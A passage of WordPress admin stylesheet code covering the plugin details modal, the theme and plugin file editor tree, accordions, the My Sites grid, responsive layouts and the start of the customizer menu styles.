	vertical-align: middle;
}

#plugin-information .fyi ul.contributors li img {
	vertical-align: middle;
	margin-right: 4px;
}

#plugin-information-footer {
	padding: 13px 16px;
	position: absolute;
	right: 0;
	bottom: 0;
	left: 0;
	height: 40px; /* actual height: 40+13+13+1=67 */
	border-top: 1px solid #dcdcde;
	background: #f6f7f7;
}

/* rtl:ignore */
#plugin-information .section {
	direction: ltr;
}

/* rtl:ignore */
#plugin-information .section ul,
#plugin-information .section ol {
	list-style-type: disc;
	margin-left: 24px;
}

#plugin-information .section,
#plugin-information .section p {
	font-size: 14px;
	line-height: 1.7;
}

#plugin-information #section-screenshots ol {
	list-style: none;
	margin: 0;
}

#plugin-information #section-screenshots li img {
	vertical-align: text-top;
	margin-top: 16px;
	max-width: 100%;
	width: auto;
	height: auto;
	box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);
}

/* rtl:ignore */
#plugin-information #section-screenshots li p {
	font-style: italic;
	padding-left: 20px;
}

#plugin-information pre {
	padding: 7px;
	overflow: auto;
	border: 1px solid #c3c4c7;
}

#plugin-information blockquote {
	border-left: 2px solid #dcdcde;
	color: #646970;
	font-style: italic;
	margin: 1em 0;
	padding: 0 0 0 1em;
}

/* rtl:ignore */
#plugin-information .review {
	overflow: hidden; /* clearfix */
	width: 100%;
	margin-bottom: 20px;
	border-bottom: 1px solid #dcdcde;
}

#plugin-information .review-title-section {
	overflow: hidden; /* clearfix */
}

/* rtl:ignore */
#plugin-information .review-title-section h4 {
	display: inline-block;
	float: left;
	margin: 0 6px 0 0;
}

#plugin-information .reviewer-info p {
	clear: both;
	margin: 0;
	padding-top: 2px;
}

/* rtl:ignore */
#plugin-information .reviewer-info .avatar {
	float: left;
	margin: 4px 6px 0 0;
}

/* rtl:ignore */
#plugin-information .reviewer-info .star-rating {
	float: left;
}

/* rtl:ignore */
#plugin-information .review-meta {
	float: left;
	margin-left: 0.75em;
}

/* rtl:ignore */
#plugin-information .review-body {
	float: left;
	width: 100%;
}

.plugin-version-author-uri {
	font-size: 13px;
}

/* For non-js plugin installation screen ticket #36430. */
.update-php .button.button-primary {
	margin-right: 1em;
}

@media screen and (max-width: 771px) {
	#plugin-information-title.with-banner {
		height: 100px;
	}

	#plugin-information-title.with-banner h2 {
		margin-top: 30px;
		font-size: 20px;
		line-height: 2;
		max-width: 85%;
	}

	#plugin-information-title.with-banner div.vignette {
		height: 100px;
	}

	#plugin-information-tabs {
		overflow: hidden; /* clearfix */
		padding: 0;
		height: auto; /* let tabs wrap */
	}

	#plugin-information-tabs a.current {
		margin-bottom: 0;
		border-bottom: none;
	}

	#plugin-information .fyi {
		float: none;
		border: 1px solid #dcdcde;
		position: static;
		width: auto;
		margin: 26px 26px 0;
		padding-bottom: 0; /* reset from the two column height fix */
	}

	#section-holder {
		position: static;
		margin: 0;
		padding-bottom: 70px; /* reset from the two column height fix, plus accommodate footer */
	}

	#plugin-information .fyi h3,
	#plugin-information .fyi small {
		display: none;
	}

	#plugin-information-footer {
		padding: 12px 16px 0;
		height: 46px;
	}
}

/* Thickbox for the Plugin details modal. */
#TB_window.plugin-details-modal {
	background: #fff;
}

#TB_window.plugin-details-modal.thickbox-loading:before {
	content: "";
	display: block;
	width: 20px;
	height: 20px;
	position: absolute;
	left: 50%;
	top: 50%;
	z-index: -1;
	margin: -10px 0 0 -10px;
	background: #fff url(../images/spinner.gif) no-repeat center;
	background-size: 20px 20px;
	transform: translateZ(0);
}

@media print,
	(min-resolution: 120dpi) {

	#TB_window.plugin-details-modal.thickbox-loading:before {
		background-image: url(../images/spinner-2x.gif);
	}
}

.plugin-details-modal #TB_title {
	float: left;
	height: 1px;
}

.plugin-details-modal #TB_ajaxWindowTitle {
	display: none;
}

.plugin-details-modal #TB_closeWindowButton {
	left: auto;
	right: -30px;
	color: #f0f0f1;
}

.plugin-details-modal #TB_closeWindowButton:hover,
.plugin-details-modal #TB_closeWindowButton:focus {
	outline: none;
	box-shadow: none;
}

.plugin-details-modal #TB_closeWindowButton:hover::after,
.plugin-details-modal #TB_closeWindowButton:focus::after {
	outline: 2px solid;
	outline-offset: -4px;
	border-radius: 4px;
}

.plugin-details-modal .tb-close-icon {
	display: none;
}

.plugin-details-modal #TB_closeWindowButton:after {
	content: "\f335";
	font: normal 32px/29px 'dashicons';
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

/* move plugin install close icon to top on narrow screens */
@media screen and (max-width: 830px) {
	.plugin-details-modal #TB_closeWindowButton {
		right: 0;
		top: -30px;
	}
}

/* @todo: move this. */
img {
	border: none;
}

/* Metabox collapse arrow indicators */
.sidebar-name .toggle-indicator::before,
.meta-box-sortables .postbox .toggle-indicator::before,
.meta-box-sortables .postbox .order-higher-indicator::before,
.meta-box-sortables .postbox .order-lower-indicator::before,
.bulk-action-notice .toggle-indicator::before,
.privacy-text-box .toggle-indicator::before {
	content: "\f142";
	display: inline-block;
	font: normal 20px/1 dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none;
}

.js .widgets-holder-wrap.closed .toggle-indicator::before,
.meta-box-sortables .postbox.closed .handlediv .toggle-indicator::before,
.bulk-action-notice .bulk-action-errors-collapsed .toggle-indicator::before,
.privacy-text-box.closed .toggle-indicator::before {
	content: "\f140";
}

.postbox .handle-order-higher .order-higher-indicator::before {
	content: "\f343";
	color: inherit;
}

.postbox .handle-order-lower .order-lower-indicator::before {
	content: "\f347";
	color: inherit;
}

.postbox .handle-order-higher .order-higher-indicator::before,
.postbox .handle-order-lower .order-lower-indicator::before {
	position: relative;
    top: 0.11rem;
	width: 20px;
	height: 20px;
}

.postbox .handlediv .toggle-indicator::before {
	width: 20px;
	border-radius: 50%;
}

.postbox .handlediv .toggle-indicator::before {
	position: relative;
	top: 0.05rem;
	text-indent: -1px; /* account for the dashicon glyph uneven horizontal alignment */
}

.rtl .postbox .handlediv .toggle-indicator::before {
	text-indent: 1px; /* account for the dashicon glyph uneven horizontal alignment */
}

.bulk-action-notice .toggle-indicator::before {
	line-height: 16px;
	vertical-align: top;
	color: #787c82;
}

.postbox .handle-order-higher:focus,
.postbox .handle-order-lower:focus,
.postbox .handlediv:focus {
	box-shadow: inset 0 0 0 2px #2271b1;
	border-radius: 50%;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.postbox .handle-order-higher:focus .order-higher-indicator::before,
.postbox .handle-order-lower:focus .order-lower-indicator::before,
.postbox .handlediv:focus .toggle-indicator::before {
	box-shadow: none;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
}

/* @todo: appears to be Press This only and overridden */
#photo-add-url-div input[type="text"] {
	width: 300px;
}

/* Theme/Plugin file editor */
.alignleft h2 {
	margin: 0;
}

#template textarea {
	font-family: Consolas, Monaco, monospace;
	font-size: 13px;
	background: #f6f7f7;
	tab-size: 4;
}

#template textarea,
#template .CodeMirror {
	width: 100%;
	min-height: 60vh;
	height: calc( 100vh - 295px );
	border: 1px solid #dcdcde;
	box-sizing: border-box;
}

#templateside > h2 {
	padding-top: 6px;
	padding-bottom: 7px;
	margin: 0;
}

#templateside ol,
#templateside ul {
	margin: 0;
	padding: 0;
}
#templateside > ul {
	box-sizing: border-box;
	margin-top: 0;
	overflow: auto;
	padding: 0;
	min-height: 60vh;
	height: calc(100vh - 295px);
	background-color: #f6f7f7;
	border: 1px solid #dcdcde;
	border-left: none;
}
#templateside ul ul {
	padding-left: 12px;
}
#templateside > ul > li > ul[role=group] {
	padding-left: 0;
}

/*
 * Styles for Theme and Plugin file editors.
 */

/* Hide collapsed items. */
[role="treeitem"][aria-expanded="false"] > ul {
	display: none;
}

/* Use arrow dashicons for folder states, but hide from screen readers. */
[role="treeitem"] span[aria-hidden] {
	display: inline;
	font-family: dashicons;
	font-size: 20px;
	position: absolute;
	pointer-events: none;
}
[role="treeitem"][aria-expanded="false"] > .folder-label .icon:after {
	content: "\f139";
}
[role="treeitem"][aria-expanded="true"] > .folder-label .icon:after {
	content: "\f140";
}
[role="treeitem"] .folder-label {
	display: block;
	padding: 3px 3px 3px 12px;
	cursor: pointer;
}

/* Remove outline, and create our own focus and hover styles */
[role="treeitem"] {
	outline: 0;
}

[role="treeitem"] a:focus,
[role="treeitem"] .folder-label.focus {
	color: #043959;
	/* Reset default focus style. */
	box-shadow: none;
	/* Use an inset outline instead, so it's visible also over the current file item. */
	outline: 2px solid #2271b1;
	outline-offset: -2px;
}

[role="treeitem"].hover,
[role="treeitem"] .folder-label.hover {
	background-color: #f0f0f1;
}

.tree-folder {
	margin: 0;
	position: relative;
}
[role="treeitem"] li {
	position: relative;
}

/* Styles for folder indicators/depth */
.tree-folder .tree-folder::after {
	content: "";
	display: block;
	position: absolute;
	left: 2px;
	border-left: 1px solid #c3c4c7;
	top: -13px;
	bottom: 10px;
}
.tree-folder > li::before {
	content: "";
	position: absolute;
	display: block;
	border-left: 1px solid #c3c4c7;
	left: 2px;
	top: -5px;
	height: 18px;
	width: 7px;
	border-bottom: 1px solid #c3c4c7;
}
.tree-folder > li::after {
	content: "";
	position: absolute;
	display: block;
	border-left: 1px solid #c3c4c7;
	left: 2px;
	bottom: -7px;
	top: 0;
}

/* current-file needs to adjustment for .notice styles */
#templateside .current-file {
	margin: -4px 0 -2px;
}
.tree-folder > .current-file::before {
	left: 4px;
	height: 15px;
	width: 0;
	border-left: none;
	top: 3px;
}
.tree-folder > .current-file::after {
	bottom: -4px;
	height: 7px;
	left: 2px;
	top: auto;
}

/* Lines shouldn't continue on last item */
.tree-folder > li:last-child::after,
.tree-folder li:last-child > .tree-folder::after {
	display: none;
}

#theme-plugin-editor-selector,
#theme-plugin-editor-label,
#documentation label {
	font-weight: 600;
}

#theme-plugin-editor-label {
	display: inline-block;
	margin-bottom: 1em;
}

/* rtl:ignore */
#template textarea,
#docs-list {
	direction: ltr;
}

.fileedit-sub #theme,
.fileedit-sub #plugin {
	max-width: 40%;
}
.fileedit-sub .alignright {
	text-align: right;
}

#template p {
	width: 97%;
}

#file-editor-linting-error {
	margin-top: 1em;
	margin-bottom: 1em;
}
#file-editor-linting-error > .notice {
	margin: 0;
	display: inline-block;
}
#file-editor-linting-error > .notice > p {
	width: auto;
}
#template .submit {
	margin-top: 1em;
	padding: 0;
}

#template .submit input[type=submit][disabled] {
	cursor: not-allowed;
}
#templateside {
	float: right;
	width: 16em;
	word-wrap: break-word;
}

#postcustomstuff p.submit {
	margin: 0;
}

#templateside h4 {
	margin: 1em 0 0;
}

#templateside li {
	margin: 4px 0;
}

#templateside li:not(.howto) a,
.theme-editor-php .highlight {
	display: block;
	padding: 3px 0 3px 12px;
	text-decoration: none;
}

#templateside li.current-file > a {
	padding-bottom: 0;
}

#templateside li:not(.howto) > a:first-of-type {
	padding-top: 0;
}

#templateside li.howto {
	padding: 6px 12px 12px;
}

.theme-editor-php .highlight {
	margin: -3px 3px -3px -12px;
}

#templateside .highlight {
	border: none;
	font-weight: 600;
}

.nonessential {
	color: #646970;
	font-size: 11px;
	font-style: italic;
	padding-left: 12px;
}

#documentation {
	margin-top: 10px;
}

#documentation label {
	line-height: 1.8;
	vertical-align: baseline;
}

.fileedit-sub {
	padding: 10px 0 8px;
	line-height: 180%;
}

#file-editor-warning .file-editor-warning-content {
	margin: 25px;
}

/* @todo: can we use a common class for these? */
.nav-menus-php .item-edit:before,
.widget-top .widget-action .toggle-indicator:before,
.control-section .accordion-section-title:after,
.accordion-section-title:after {
	content: "\f140";
	font: normal 20px/1 dashicons;
	speak: never;
	display: block;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none;
}

.widget-top .widget-action .toggle-indicator:before {
	padding: 1px 2px 1px 0;
	border-radius: 50%;
}

.handlediv,
.postbox .handlediv.button-link,
.item-edit,
.toggle-indicator,
.accordion-section-title:after {
	color: #787c82;
}

.widget-action {
	color: #50575e; /* #fafafa background in the Widgets screen */
}

.widget-top:hover .widget-action,
.widget-action:focus,
.handlediv:hover,
.handlediv:focus,
.postbox .handlediv.button-link:hover,
.postbox .handlediv.button-link:focus,
.item-edit:hover,
.item-edit:focus,
.sidebar-name:hover .toggle-indicator,
.accordion-section-title:hover:after {
	color: #1d2327;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.widget-top .widget-action:focus .toggle-indicator:before {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.control-section .accordion-section-title:after,
.accordion-section-title:after {
	float: right;
	right: 20px;
	top: -2px;
}

.control-section.open .accordion-section-title:after,
#customize-info.open .accordion-section-title:after,
.nav-menus-php .menu-item-edit-active .item-edit:before,
.widget.open .widget-top .widget-action .toggle-indicator:before,
.widget.widget-in-question .widget-top .widget-action .toggle-indicator:before {
	content: "\f142";
}

/*!
 * jQuery UI Draggable/Sortable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
.ui-draggable-handle,
.ui-sortable-handle {
	touch-action: none;
}

/* Accordion */
.accordion-section {
	border-bottom: 1px solid #dcdcde;
	margin: 0;
}

.accordion-section.open .accordion-section-content,
.no-js .accordion-section .accordion-section-content {
	display: block;
}

.accordion-section.open:hover {
	border-bottom-color: #dcdcde;
}

.accordion-section-content {
	display: none;
	padding: 10px 20px 15px;
	overflow: hidden;
	background: #fff;
}

.accordion-section-title {
	margin: 0;
	padding: 12px 15px 15px;
	position: relative;
	border-left: 1px solid #dcdcde;
	border-right: 1px solid #dcdcde;
	-webkit-user-select: none;
	user-select: none;
}

.js .accordion-section-title {
	cursor: pointer;
}

.js .accordion-section-title:after {
	position: absolute;
	top: 12px;
	right: 10px;
	z-index: 1;
}

.accordion-section-title:focus {
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
}

.accordion-section-title:hover:after,
.accordion-section-title:focus:after {
	border-color: #a7aaad transparent;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
}

.cannot-expand .accordion-section-title {
	cursor: auto;
}

.cannot-expand .accordion-section-title:after {
	display: none;
}

.control-section .accordion-section-title,
.customize-pane-child .accordion-section-title {
	border-left: none;
	border-right: none;
	padding: 10px 10px 11px 14px;
	line-height: 1.55;
	background: #fff;
}

.control-section .accordion-section-title:after,
.customize-pane-child .accordion-section-title:after {
	top: calc(50% - 10px); /* Arrow height is 20px, so use half of that to vertically center */
}

.js .control-section:hover .accordion-section-title,
.js .control-section .accordion-section-title:hover,
.js .control-section.open .accordion-section-title,
.js .control-section .accordion-section-title:focus {
	color: #1d2327;
	background: #f6f7f7;
}

.control-section.open .accordion-section-title {
	/* When expanded */
	border-bottom: 1px solid #dcdcde;
}

/* Edit Site */
.network-admin .edit-site-actions {
	margin-top: 0;
}

/* My Sites */
.my-sites {
	display: block;
	overflow: auto;
	zoom: 1;
}

.my-sites li {
	display: block;
	padding: 8px 3%;
	min-height: 130px;
	margin: 0;
}

@media only screen and (max-width: 599px) {
	.my-sites li {
		min-height: 0;
	}
}

@media only screen and (min-width: 600px) {
	.my-sites.striped li {
		background-color: #fff;
		position: relative;
	}
	.my-sites.striped li:after {
		content: "";
		width: 1px;
		height: 100%;
		position: absolute;
		top: 0;
		right: 0;
		background: #c3c4c7;
	}

}
@media only screen and (min-width: 600px) and (max-width: 699px) {
	.my-sites li{
		float: left;
		width: 44%;
	}
	.my-sites.striped li {
		background-color: #fff;
	}
	.my-sites.striped li:nth-of-type(2n+1) {
		clear: left;
	}
	.my-sites.striped li:nth-of-type(2n+2):after {
		content: none;
	}
	.my-sites li:nth-of-type(4n+1),
	.my-sites li:nth-of-type(4n+2) {
		background-color: #f6f7f7;
	}

}

@media only screen and (min-width: 700px) and (max-width: 1199px) {
	.my-sites li {
		float: left;
		width: 27.333333%;
		background-color: #fff;
	}
	.my-sites.striped li:nth-of-type(3n+3):after {
		content: none;
	}
	.my-sites li:nth-of-type(6n+1),
	.my-sites li:nth-of-type(6n+2),
	.my-sites li:nth-of-type(6n+3) {
		background-color: #f6f7f7;
	}
}

@media only screen and (min-width: 1200px) and (max-width: 1399px) {
	.my-sites li {
		float: left;
		width: 21%;
		padding: 8px 2%;
		background-color: #fff;
	}
	.my-sites.striped li:nth-of-type(4n+1) {
		clear: left;
	}
	.my-sites.striped li:nth-of-type(4n+4):after {
		content: none;
	}
	.my-sites li:nth-of-type(8n+1),
	.my-sites li:nth-of-type(8n+2),
	.my-sites li:nth-of-type(8n+3),
	.my-sites li:nth-of-type(8n+4) {
		background-color: #f6f7f7;
	}
}

@media only screen and (min-width: 1400px) and (max-width: 1599px) {
	.my-sites li {
		float: left;
		width: 16%;
		padding: 8px 2%;
		background-color: #fff;
	}
	.my-sites.striped li:nth-of-type(5n+1) {
		clear: left;
	}
	.my-sites.striped li:nth-of-type(5n+5):after {
		content: none;
	}
	.my-sites li:nth-of-type(10n+1),
	.my-sites li:nth-of-type(10n+2),
	.my-sites li:nth-of-type(10n+3),
	.my-sites li:nth-of-type(10n+4),
	.my-sites li:nth-of-type(10n+5) {
		background-color: #f6f7f7;
	}
}

@media only screen and (min-width: 1600px) {
	.my-sites li {
		float: left;
		width: 12.666666%;
		padding: 8px 2%;
		background-color: #fff;
	}
	.my-sites.striped li:nth-of-type(6n+1) {
		clear: left;
	}
	.my-sites.striped li:nth-of-type(6n+6):after {
		content: none;
	}
	.my-sites li:nth-of-type(12n+1),
	.my-sites li:nth-of-type(12n+2),
	.my-sites li:nth-of-type(12n+3),
	.my-sites li:nth-of-type(12n+4),
	.my-sites li:nth-of-type(12n+5),
	.my-sites li:nth-of-type(12n+6) {
		background-color: #f6f7f7;
	}
}

.my-sites li a {
	text-decoration: none;
}

/* =Media Queries
-------------------------------------------------------------- */

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {
	/* Back-compat for pre-3.8 */
	div.star-holder,
	div.star-holder .star-rating {
		background: url(../images/stars-2x.png?ver=20121108) repeat-x bottom left;
		background-size: 21px 37px;
	}

	.spinner {
		background-image: url(../images/spinner-2x.gif);
	}

}

@media screen and (max-width: 782px) {
	html.wp-toolbar {
		padding-top: 46px;
	}

	.screen-reader-shortcut:focus {
		top: -39px;
	}

	body {
		min-width: 240px;
		overflow-x: hidden;
	}

	body * {
		-webkit-tap-highlight-color: rgba(0, 0, 0, 0) !important;
	}

	#wpcontent {
		position: relative;
		margin-left: 0;
		padding-left: 10px;
	}

	#wpbody-content {
		padding-bottom: 100px;
	}

	.wrap {
		clear: both;
		margin-right: 12px;
		margin-left: 0;
	}

	/* categories */
	#col-left,
	#col-right {
		float: none;
		width: auto;
	}

	#col-left .col-wrap,
	#col-right .col-wrap {
		padding: 0;
	}

	/* Hidden Elements */
	#collapse-menu,
	.post-format-select {
		display: none !important;
	}

	.wrap h1.wp-heading-inline {
		margin-bottom: 0.5em;
	}

	.wrap .add-new-h2, /* deprecated */
	.wrap .add-new-h2:active, /* deprecated */
	.wrap .page-title-action,
	.wrap .page-title-action:active {
		padding: 10px 15px;
		font-size: 14px;
		white-space: nowrap;
	}

	/* Feedback Messages */
	.notice,
	.wrap div.updated,
	.wrap div.error,
	.media-upload-form div.error {
		margin: 20px 0 10px;
		padding: 5px 10px;
		font-size: 14px;
		line-height: 175%;
	}

	.wp-core-ui .notice.is-dismissible {
		padding-right: 46px;
	}

	.notice-dismiss {
		padding: 13px;
	}

	.wrap .icon32 + h2 {
		margin-top: -2px;
	}

	.wp-responsive-open #wpbody {
		right: -16em;
	}

	code {
		word-wrap: break-word;
		word-wrap: anywhere; /* Firefox. Allow breaking long words anywhere */
		word-break: break-word; /* Webkit: Treated similarly to word-wrap: break-word */
	}

	/* General Metabox */
	.postbox {
		font-size: 14px;
	}

	.metabox-holder h3.hndle, /* Back-compat for pre-4.4 */
	.metabox-holder .stuffbox > h3, /* Back-compat for pre-4.4 */
	.metabox-holder .postbox > h3, /* Back-compat for pre-4.4 */
	.metabox-holder h2 {
		padding: 12px;
	}

	.postbox .handlediv {
		margin-top: 3px;
	}

	/* Subsubsub Nav */
	.subsubsub {
		font-size: 16px;
		text-align: center;
		margin-bottom: 15px;
	}

	/* Theme/Plugin File Editor */

	#template textarea,
	#template .CodeMirror {
		box-sizing: border-box;
	}

	#templateside {
		float: none;
		width: auto;
	}

	#templateside > ul {
		border-left: 1px solid #dcdcde;
	}

	#templateside li {
		margin: 0;
	}

	#templateside li:not(.howto) a {
		display: block;
		padding: 5px;
	}
	#templateside li.howto {
		padding: 12px;
	}

	#templateside .highlight {
		padding: 5px;
		margin-left: -5px;
		margin-top: -5px;
	}

	#template > div,
	#template .notice {
		float: none;
		margin: 1em 0;
		width: auto;
	}

	#template .CodeMirror,
	#template textarea {
		width: 100%;
	}

	#templateside ul ul {
		padding-left: 1.5em;
	}
	[role="treeitem"] .folder-label {
		display: block;
		padding: 5px;
	}
	.tree-folder > li::before,
	.tree-folder > li::after,
	.tree-folder .tree-folder::after {
		left: -8px;
	}
	.tree-folder > li::before {
		top: 0;
		height: 13px;
	}
	.tree-folder > .current-file::before {
		left: -5px;
		top: 7px;
		width: 4px;
	}
	.tree-folder > .current-file::after {
		height: 9px;
		left: -8px;
	}
	.wrap #templateside span.notice {
		margin-left: -5px;
		width: 100%;
	}

	.fileedit-sub .alignright {
		float: left;
		margin-top: 15px;
		width: 100%;
		text-align: left;
	}

	.fileedit-sub .alignright label {
		display: block;
	}

	.fileedit-sub #theme,
	.fileedit-sub #plugin {
		margin-left: 0;
		max-width: 70%;
	}

	.fileedit-sub input[type="submit"] {
		margin-bottom: 0;
	}

	#documentation label[for="docs-list"] {
		display: block;
	}

	#documentation select[name="docs-list"] {
		margin-left: 0;
		max-width: 60%;
	}

	#documentation input[type="button"] {
		margin-bottom: 0;
	}

	#wpfooter {
		display: none;
	}

	#comments-form .checkforspam {
		display: none;
	}

	.edit-comment-author {
		margin: 2px 0 0;
	}

	.filter-drawer .filter-group-feature input,
	.filter-drawer .filter-group-feature label {
		line-height: 2.1;
	}

	.filter-drawer .filter-group-feature label {
		margin-left: 32px;
	}

	.wp-filter .button.drawer-toggle {
		font-size: 13px;
		line-height: 2;
		height: 28px;
	}

	/* Fix help tab columns for smaller screens */
	#screen-meta #contextual-help-wrap {
		overflow: visible;
	}

	#screen-meta #contextual-help-back,
	#screen-meta .contextual-help-sidebar {
		display: none;
	}

	#screen-meta .contextual-help-tabs {
		clear: both;
		width: 100%;
		float: none;
	}

	#screen-meta .contextual-help-tabs ul {
		margin: 0 0 1em;
		padding: 1em 0 0;
	}

	#screen-meta .contextual-help-tabs .active {
		margin: 0;
	}

	#screen-meta .contextual-help-tabs-wrap {
		clear: both;
		max-width: 100%;
		float: none;
	}

	#screen-meta,
	#screen-meta-links {
		margin-right: 10px;
	}

	#screen-meta-links {
		margin-bottom: 20px; /* Add margins beneath links for better spacing between boxes and elements */
	}

	.wp-filter .search-form input[type="search"] {
		width: 100%;
		font-size: 1rem;
	}

	.wp-filter .search-form.search-plugins {
		/* This element is a flex item. */
		min-width: 100%;
	}
}

/* Smartphone */
@media screen and (max-width: 600px) {
	/* Disable horizontal scroll when responsive menu is open
	   since we push the main content off to the right. */
	#wpwrap.wp-responsive-open {
		overflow-x: hidden;
	}

	html.wp-toolbar {
		padding-top: 0;
	}

	.screen-reader-shortcut:focus {
		top: 7px;
	}

	#wpbody {
		padding-top: 46px;
	}

	/* Keep full-width boxes on Edit Post page from causing horizontal scroll */
	div#post-body.metabox-holder.columns-1 {
		overflow-x: hidden;
	}

	h1.nav-tab-wrapper,
	.wrap h2.nav-tab-wrapper,
	.nav-tab-wrapper {
		border-bottom: 0;
	}

	h1 .nav-tab,
	h2 .nav-tab,
	h3 .nav-tab,
	nav .nav-tab {
		margin: 10px 10px 0 0;
		border-bottom: 1px solid #c3c4c7;
	}

	.nav-tab-active:hover,
	.nav-tab-active:focus,
	.nav-tab-active:focus:active {
		border-bottom: 1px solid #c3c4c7;
	}
}

@media screen and (max-width: 480px) {
	.metabox-prefs-container {
		display: grid;
	}

	.metabox-prefs-container > * {
		display: inline-block;
		padding: 2px;
	}
}

@media screen and (max-width: 320px) {
	/* Prevent default center alignment and larger font for the Right Now widget when
	   the network dashboard is viewed on a small mobile device. */
	#network_dashboard_right_now .subsubsub {
		font-size: 14px;
		text-align: left;
	}
}
/*! This file is auto-generated */
#customize-theme-controls #accordion-section-menu_locations {
	position: relative;
	margin-top: 30px;
}

#customize-theme-controls #accordion-section-menu_locations > .accordion-section-title {
	border-bottom-color: #dcdcde;
	margin-top: 15px;
}

#customize-theme-controls .customize-section-title-nav_menus-heading,
#customize-theme-controls .customize-section-title-menu_locations-heading,
#customize-theme-controls .customize-section-title-menu_locations-description {
	padding: 0 12px;
}

#customize-theme-controls .customize-control-description.customize-section-title-menu_locations-description {
	/* Override the default italic style for control descriptions */
	font-style: normal;
}

.menu-in-location,
.menu-in-locations {
	display: block;
	font-weight: 600;
	font-size: 10px;
}

#customize-controls .theme-location-set,
#customize-controls .control-section .accordion-section-title:focus .menu-in-location,
#customize-controls .control-section .accordion-section-title:hover .menu-in-location {
	color: #50575e;
}

/* The `edit-menu` and `create-menu` buttons also use the `button-link` class. */
.customize-control-nav_menu_location .edit-menu,
.customize-control-nav_menu_location .create-menu {
	margin-right: 6px;
	vertical-align: middle;
	line-height: 2.2;
}

#customize-controls .customize-control-nav_menu_name {
	margin-bottom: 12px;
}

.customize-control-nav_menu_name p:last-of-type {
	margin-bottom: 0;
}

#customize-new-menu-submit {
	float: left;
	min-width: 85px;
}

.wp-customizer .menu-item-bar .menu-item-handle,
.wp-customizer .menu-item-settings,
.wp-customizer .menu-item-settings .description-thin {
	box-sizing: border-box;
}

.wp-customizer .menu-item-bar {
	margin: 0;
}

.wp-customizer .menu-item-bar .menu-item-handle {
	width: 100%;
	max-width: 100%;
	background: #fff;
}

.wp-customizer .menu-item-handle .item-title {
	margin-left: 0;
}

.wp-customizer .menu-item-handle .item-type {
	padding: 1px 5px 0 21px;
	float: left;
	text-align: left;
}

.wp-customizer .menu-item-handle:hover {
	z-index: 8;
}

.customize-control-nav_menu_item.has-notifications .menu-item-handle {
	border-right: 4px solid #72aee6;
}

.wp-customizer .menu-item-settings {
	max-width: 100%;
	overflow: hidden;
	z-index: 8;
	padding: 10px;
	background: #f0f0f1;
	border: 1px solid #8c8f94;
	border-top: none;
}

.wp-customizer .menu-item-settings .description-thin {
	width: 100%;
	height: auto;
	margin: 0 0 8px;
}

.wp-customizer .menu-item-settings input[type="text"] {
	width: 100%;
}

.wp-customizer .menu-item-settings .submitbox {
	margin: 0;
	padding: 0;
}

.wp-customizer .menu-item-settings .link-to-original {
	padding: 5px 0;
	border: none;
	font-style: normal;
	margin: 0;
	width: 100%;
}

.wp-customizer .menu-item .submitbox .submitdelete {
	float: right;
	margin: 6px 0 0;
	padding: 0;
	cursor: pointer;
}


/**
 * Menu items reordering styles
 */

.menu-item-reorder-nav {
	display: none;
	background-color: #fff;
	position: absolute;
	top: 0;
	left: 0;
}

.menus-move-left:before {
	content: "\f345";
}

.menus-move-right:before {
	content: "\f341";
}

.reordering .menu-item .item-controls,
.reordering .menu-item .item-type {
	display: none;
}

.reordering .menu-item-reorder-nav {
	display: block;
}

.customize-control input.menu-name-field {
	width: 100%; /* Override the 98% default for customizer inputs, to align with the size of menu items. */
}

.wp-customizer .menu-item .item-edit {
	position: absolute;
	left: -19px;
	top: 2px;
	display: block;
	width: 30px;
	height: 38px;
	margin-left: 0 !important;
	box-shadow: none;
	outline: none;
	overflow: hidden;
	cursor: pointer;
	text-align: center;
}

.wp-customizer .menu-item.menu-item-edit-active .item-edit .toggle-indicator:before {
	content: "\f142";
}

.wp-customizer .menu-item-settings p.description {
	font-style: normal;
}

.wp-customizer .menu-settings dl {
	margin: 12px 0 0;
	padding: 0;
}

.wp-customizer .menu-settings .checkbox-input {
	margin-top: 8px;
}

.wp-customizer .menu-settings .menu-theme-locations {
	border-top: 1px solid #c3c4c7;
}

.wp-customizer .menu-settings {
	margin-top: 36px;
	border-top: none;
}

.wp-customizer .menu-location-settings {
	margin-top: 12px;
	border-top: none;
}

.wp-customizer .control-section-nav_menu .menu-location-settings {
	margin-top: 24px;
	border-top: 1px solid #dcdcde;
}

.wp-customizer .control-section-nav_menu .menu-location-settings,
.customize-control-nav_menu_auto_add {
	padding-top: 12px;
}

.menu-location-settings .customize-control-checkbox .theme-location-set {
	line-height: 1;
}

.customize-control-nav_menu_auto_add label {
	vertical-align: top;
}

.menu-location-settings .new-menu-locations-widget-note {
	display: block;
}

.customize-control-menu {
	margin-top: 4px;
}

#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle {
	color: #50575e;
}

/* Screen Options */
.customize-screen-options-toggle {
	background: none;
	border: none;
	color: #50575e;
	cursor: pointer;
	margin: 0;
	padding: 20px;
	position: absolute;
	left: 0;
	top: 30px;
}

#customize-controls .customize-info .customize-help-toggle {
	padding: 20px;
}

#customize-controls .customize-info .customize-help-toggle:before {
	padding: 4px;
}

.customize-screen-options-toggle:hover,
.customize-screen-options-toggle:active,
.customize-screen-options-toggle:focus,
.active-menu-screen-options .customize-screen-options-toggle,
#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
	color: #2271b1;
}

.customize-screen-options-toggle:focus,
#customize-controls .customize-info .customize-help-toggle:focus {
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.customize-screen-options-toggle:before {
	-moz-osx-font-smoothing: grayscale;
